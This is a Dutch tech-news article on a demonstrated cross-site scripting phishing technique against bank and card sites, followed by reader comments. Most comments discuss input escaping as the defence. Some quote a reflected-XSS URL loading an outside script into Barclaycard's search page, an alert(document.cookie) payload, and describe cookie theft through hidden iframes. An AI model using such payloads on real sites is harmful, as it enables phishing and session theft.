Cookies op Tweakers

Tweakers maakt gebruik van cookies, onder andere om de website te analyseren, het gebruiksgemak te vergroten en advertenties te tonen. Door gebruik te maken van deze website, of door op 'Ga verder' te klikken, geef je toestemming voor het gebruik van cookies. Wil je meer informatie over cookies en hoe ze worden gebruikt, bekijk dan ons cookiebeleid.

Meer informatie

Door , , 58 reacties
Bron: eWeek

Een Britse ontwerper van websites heeft een nieuwe manier om cross-site scripting (XSS) phishing klaar te spelen. Phishing is volgens Webopedia een manier om een gebruiker naar een website te lokken die er uit ziet als bijvoorbeeld Ebay of Amazon. Deze nepsite vraagt de gebruiker om een aantal persoonlijke gegevens, waaronder creditcard-gegevens, in te vullen, waardoor de makers achter de website de gegevens kunnen misbruiken om bijvoorbeeld internetaankopen te doen. XSS phishing gaat echter een stuk verder. Bij deze methode is het niet meer nodig om op een link in een e-mail te klikken, want XSS maakt het mogelijk om scripts van een andere site uit te voeren op bijvoorbeeld de website van MasterCard.

MasterCard logoEen en ander wordt gedemonstreerd op de website van de ontdekker: ZapTheDingbat. Als hier op de link naar MasterCard wordt geklikt, dan wordt niet het script van MasterCard uitgevoerd om een geldautomaat te vinden, maar een script dat afkomstig is van ZapTheDingbat. De gebruiker denkt echter dat het script afkomstig is van MasterCard. De techniek werkt zowel in Internet Explorer onder Windows XP met Service Pack 2 (release candidate) geïnstalleerd als Mozilla Firefox 0.9.1. Een website kan volgens de maker gemakkelijk worden beveiligd tegen cross-site scripting, maar bij een hoop sites, waaronder Natwest, Barcleycard en WorldPay, is dit niet het geval.

Lees meer over

Moderatie-faq Wijzig weergave

Reacties (58)

dit slaat compleet nergens op..

hij output gewoon variabelen naar de html pagina, en als je html (en javascript, daar gaat 't hier dus om) in zo'n variabele propt laat ie dat dus zien in de pagina...

ten eerste is 't verre van "nieuw", ten tweede, je moet per se op een onbetrouwbare link klikken voor 't werkt...

nee, geniaal is anders.
Even los van het feit dat dit helemaal niets met de gebruikte browser te maken heeft. De browser heeft hier helemaal de schuld niet. De webdevelopers zijn vergeten de inhoud van de form variable te escapen voor deze te outputten. Dit zal iedere browser gewoon gehoorzamen zoals het hoort, er staat namelijk gewoon HTML code en die dient geinterpreteerd te worden.

[edit]
Benadrukken dat de fout niet in de browser zit maar in de website lijkt me niet overbodig, aangezien het nieuwsbericht de indruk wekt dat het een fout in IE en FF zou zijn.
De webdevelopers zijn vergeten de inhoud van de form variable te escapen voor deze te outputten.
Een website kan volgens de maker gemakkelijk worden beveiligd tegen cross-site scripting
Escapen? Ze kunnen beter eerst valideren wat er voor data wordt meegegeven via een URL...
In de meeste gevallen gaat het om een zoekterm, een zoekterm kan (en zal) meestal stringwaarden bevatten, daar kan ook geldige HTML in staan (bij Google zal dit best wel eens voorkomen). Hoe ga je die valideren? Punt blijft dat er HTML in je form var kan komen te staan en die moet je niet zomaar echoen.
Met een stukje javascript kan ik gewoon een onzichtbaar form naar jouw site POSTen, zonder dat de gebruiker er iets van ziet. Die vlieger gaat dus helaas niet op, want jij doet is net zo gevaarlijk als de GET data direct gebruiken al is het probleem wel een beetje beter verstopt.
POST data is ook prima te misbruiken op deze manier, als er een door de gebruiker opgegeven string naar de html output geschreven wordt (zonder de string te controleren op html code) werkt dit. Persoonlijk vermijd ik dynamisch opgebouwde pagina's altijd zoveel mogelijk en cache ik naar .htm bestanden. Daarmee kan je 99% van alle problemen voorkomen. Dit specifieke probleem is het beste te voorkomen door get/post data altijd de controleren op html code (in php kan bijvoorbeeld heel goed htmlspecialchars worden gebruikt)
Ja maar als je iets in een html-textbox invult en je filtert al op <, " en ' dan heb je clientside al een hoop crap eruit gefiltered maar dan moet je in de ontvangende pagina ook de referer afvangen omdat je anders ook de postende pagina kunt faken en op die manier de client-side validatie teniet doet.

Het gaat er dus om dat de ontvangende pagina alles goed moet controleren en niet de versturende pagina. De versturende pagina kan alles zijn en van iedereen afkomen. De ontvanger moet controleren of de afzender en de data legitiem is.
Met een stukje javascript kan ik gewoon een onzichtbaar form naar jouw site POSTen, zonder dat de gebruiker er iets van ziet. Die vlieger gaat dus helaas niet op, want jij doet is net zo gevaarlijk als de GET data direct gebruiken al is het probleem wel een beetje beter verstopt.
Jij kan zoveel POST-en wat je wilt, maar als ik alleen maar de GET-data gebruik gebeurt er naar mijn gevoel toch bar weinig?

Edit: Reply op Gerko van 00:20 uur
In de meeste gevallen gaat het om een zoekterm, een zoekterm kan (en zal) meestal stringwaarden bevatten, daar kan ook geldige HTML in staan (bij Google zal dit best wel eens voorkomen). Hoe ga je die valideren? Punt blijft dat er HTML in je form var kan komen te staan en die moet je niet zomaar echoen.
Een zoekterm is mijn inziens wat anders dan waneer je om
specifieke gegevens als naam en adres vraagt?

Edit: Reply op Gerko van 00:13 uur.
Edit2: Waarom verschijnen mijn reacties ineens op een heel andere plek als ik wil? Ik druk verdulleme toch op Reply? :?
Daarom overschrijf ik altijd mij get-data met post-data (dewelke niet via deze techniek te veranderen is).
Maar als ik het goed begrijp, is dit totaal de schuld van de webmaster? Men site-code toch nog eens checken :D
Dit *voorbeeld* is dan misschien niet schadelijk, maar besef je even wat er *WEL* kan gebeuren:

-Door jouw javascript uit te voeren op het domain van de ander (bijv. mastercard), kan je o.a. cookies van dat domain extracten en laten loggen door je eigen site! Het is dan wel zo dat die gebruiker op de een of andere manier op een pagina uit moet komen waar die foute link staat, maar het hoeft echt niet zo te zijn dat die gebruiker ook echt op een link op die pagina moet klikken. Je kunt het bijv. ook verbergen in een hidden iframe, div, of wat dan ook. Het enige wat je nodig hebt is een willekeurige HTML pagina waar je de gebruiker naar toe lokt. Een weblog entry ofzo. De gebruiker zal er niets van zien.

De houding 'pfff, wat een ophef' spreekt niet voor je, die instelling zorgt er o.a. voor dat developers er meestal niet stil bij staan dat zoiets ueberhaupt kan!
Het is misschien niet geniaal, maar wel een goede wake-up call voor de bouwers van dit soort sites. Het is één van de vele manieren waarop er verkeerde informatie in je forms en scripts gegooid kan worden. En ja, die moet je allemaal afschermen, en nee, dat is vaak niet gedaan.
In elke URL zie ik een <script src=> tag staan, lijkt me dus gewoon sloppy coding van de site bouwers. 'T zijn dus gewoon brakke sites ipv browser problemen.
bij die 8 links onder demonstration krijg je bij 7 in de url tezien vanaf welke source de .js erin wordt gestopt. Dat is net zo opvallend als bij xxx.jpg .exe.

Bij natwest echter niet, daar word je verwezen naar natwest.com/search/index.asp en krijg je zo'n inside leg measurement :) formuliertje, als ik echter deze url intype in een leeg venster dan ga ik wél naar de natwest site .. hoe werkt dat ?
Die werkt d.m.v. POST formulieren... die geven de variabelen niet via de URL mee. Blijkbaar worden ze ook op die natwest pagina zelf niet in de url gezet (zou ook geen reden voor zijn).

Ben het er mee eens dat het totale onzin is om te claimen dat BROWSERS er vulnerable voor zijn!

Dat die websites XSS bugs hebben, waardoor je HTML kan injecten in hun websites, heeft *ZO* niks met browsers te maken...

Daarnaast is het een beetje opgeblazen, het is gewoon iemand die in 8 websites van grote bedrijven XSS bugs heeft gevonden. De rest is geblaat er omheen om het belangrijker te doen lijken dan dat het is.

Als ie ethiek had gevolgt zou hij de webmasters gemaild hebben om ze over de vulnerabilities in hun websites te waarschuwen. Ik zie nergens staan dat hij dat heeft geprobeerd. Hiermee laat hij weer zien dat het voornamelijk om aandacht te doen is.
de javascript code wordt via een POST meegegeven aan het formulier.
Met behulp van dat javascriptje kun je een laag over de huidige pagina heen 'leggen' en op die manier data doorsturen naar je eigen server.
Bij het intypen van het url, bestaan deze POST variabelen niet, en krijg je dus de standaardpagina.

En zoals al eerder gezegd, dit is een fout van de makers van de sites, en makkelijk op te lossen...
In Firefox kan je instellen dat de statusbar niet mag worden veranderd (wat heb je daar ook aan?). Dan zie je dat 1 van de variabelen in de url een stukje <script> is.
Als ik zoiets op bijvoorbeeld bankieren.rabobank.nl zou zien, zou ik echt wel kijken of alles klopt... Al is daar wel enige kennis voor nodig, en zal een gemiddelde gebruiker niet door hebben dat het een fake site is.
Ik steek gewoon die pagina met de URL met dat vies javascript gedoe in een freempje en jij ziet lekker niks van die URL in je statusbar (tenzij misschien heel even tijdens het laden)

EDIT: ik geef jouw natuurlijk de link naar mijn frameset pagina he.

nu ja, inderdaad wel een oude "exploit" maar het doet me - als professioneel webmaster - toch even schrikken en ik denk dat ik in 't vervolg toch even ga opletten, ook al is er niemand die echt winst zal kunnen halen uit onze website, tenzij dan misschien ons bedrijf een kwalijke reputatie geven of zo.
Dit is al een zeer oude truc, een soort gelijke truc gebruikte ik veel om websites te "bekijken". Bij Zend (engine makers van PHP), SLM, Telfort en vele andere kom je op leuke manieren achter diverse gegevens. Zo weet ik dus dat Zend niet je IP maar de IP van je Proxy registreert, en dat alleen maar door een <script>alert(document.cookie)</script> en soortgelijke in de querystring te plakken. Er zijn zoveel manieren om dit te verhelpen, schandalig dus er dus nog steeds (na dik één jaar dat ik hier achter kwam) nog steeds sites zijn die simpelweg niet beveiligd zijn.

Les 1: NOOIT de input van gebruikers vertrouwen.
Errm.. welcome to the world of client-side scripting.. hetgeen wat jij intikt is heel wat anders dat hetgeen hier gebeurt. Wat jij doet is gegevens van je eigen browser ontfrutselen waarvan de website ervanuitgaat dat jij dat niet doet. Waar dit nieuwsartikel over gaat is de mogelijkheid om broncode aan te passen door simpelweg wat GET parameters aan te passen. Dat is dus heel wat anders :)
What about Opera?
Het enige wat helpt is javascript uitzetten, dat kan naar mijn weten met alle browsers.
Erm, gaat dat wel? Volgens mij is dit server side scripting en AFAIK kun je dat client-side niet uitzetten... Zou die leuk worden, kun je client-side validatiescripts op de server uitzetten...
Je kunt ook in de adresbalk kijken, of in je statusbalk waar de link verschijnt als je met je muis over de link gaat.

Het plaatje op de site laat enkel de root zien, maar alle andere voorbeelden hebben bijvoorbeeld een url als:

http://www.barclaycard.co.uk/search_results.html?search=&lt;http://www.barclaycard.co.uk/search_results.html?search=<;script src='http://www.zapthedingbat.com/security/scriptinjection/barclaycard.js'></script>

Maar goed, de dummy gebruiker zal hier niet op letten ...
Helaas, Opera, Mozilla, Konquerer... het maakt niet uit, het ligt aan het script op de server die totaal niet controleert wat voor gegevens er worden meegestuurd!
En hoe beveilig je een site hier tegen?
Door al de input die van een gebruiker kan komen te ontdoen van html code.

in php kun je hiervoor de striptags() functie gebruiken, en asp/.net heb je ongetijfeld gelijke functies.

zoals rklapwijk al zegt, vertrouw NOOIT input van gebruikers.
Voor degenen die zelf een forum ofzo hebben gemaakt, weten wel dat ze alle input eerst moeten controleren, en niet zomaar wat echo-en
Je kan het beste altijd al je get/post data controleren. Ik zet meestal alle get/post variabelen in een lijst bovenaan mijn programma code en stop deze in makkelijkere variabelen. Hier kan je ook gelijk controleren op html code, een makkelijke manier in php is met htmlspecialchars($string), deze converteert bijzondere tekens zoals < en > naar hun html codes (bijvoorbeeld & lt; )
Ik begin zo langzamerhand een beetje bang te worden om een link aan te klikken...

Betekent dit dat mensen hun scripts kunnen draaien op mijn website?

edit:

@Abraxas: Ah.. got it.
Gelukkig heeft microsoft een advies: niet op links klikken: overtypen. Op die manier hopen ze het web nog verder af te kunnen breken dan ze nu al gelukt is met een invalide html rende machine.

Volgens mij kan niemand zijn scripts op jou server draaien, maar wel doen alsof de scripts op zijn server draaien terwijl ze op die van jou draaien. Je krijgt dus hetzelfde resultaat alsof je gewoon bij mastercard zit. Of snap ik t ook verkeert?
neen, jij klikt op een link op zijn pagina en je denkt dat je dan naar mastercard wordt doorgestuurd of gebruik maakt van hun diensten, terwijl al je data niet naar mastercard wordt gestuurd, maar naar de kwaadwillige.

net alsof je een google-zoekbannertje op je site hebt staan, maar de zoekopdracht niet naar google wordt gestuurd, maar naar jouw server, die er dan alles mee kan doen wat je maar wil, bvb het resultaat alsnog naar google doorsturen en ondertussen zelf ook opslaan. Zo lijkt het alsof er niets aan de hand is, maar wordt alles wat je intypt gemonitorred en opgeslagen
haha, ze zijn gelijk aan het werk gegaan bij MasterCard, 5 minuten geleden werkte het nog, nu krijg je "Page not available"
Het is inmiddels gefixt. Hij geeft nu gewoon & lt; in de source.
Dus heeft MasterCard bewezen dat ze snel reageren, de ontwikkelingen in de gaten houden <insert marketing-bla-bla>, en ze dus niet zo slecht zijn als je zou denken ;)
je moet nooit nooit nooit aannemen dat de invoer van een gebruiker correct is.

al is de code die invoer moet controleren 99% van je complete progsel, altijd doen.
Inderdaad, in PHP is dit een simpel geval van htmlEntities over je output heen gooien..

Op dit item kan niet meer gereageerd worden.



Apple iOS 10 Google Pixel Apple iPhone 7 Sony PlayStation VR AMD Radeon RX 480 4GB Battlefield 1 Google Android Nougat Watch Dogs 2

© 1998 - 2016 de Persgroep Online Services B.V. Tweakers vormt samen met o.a. Autotrack en Carsom.nl de Persgroep Online Services B.V. Hosting door True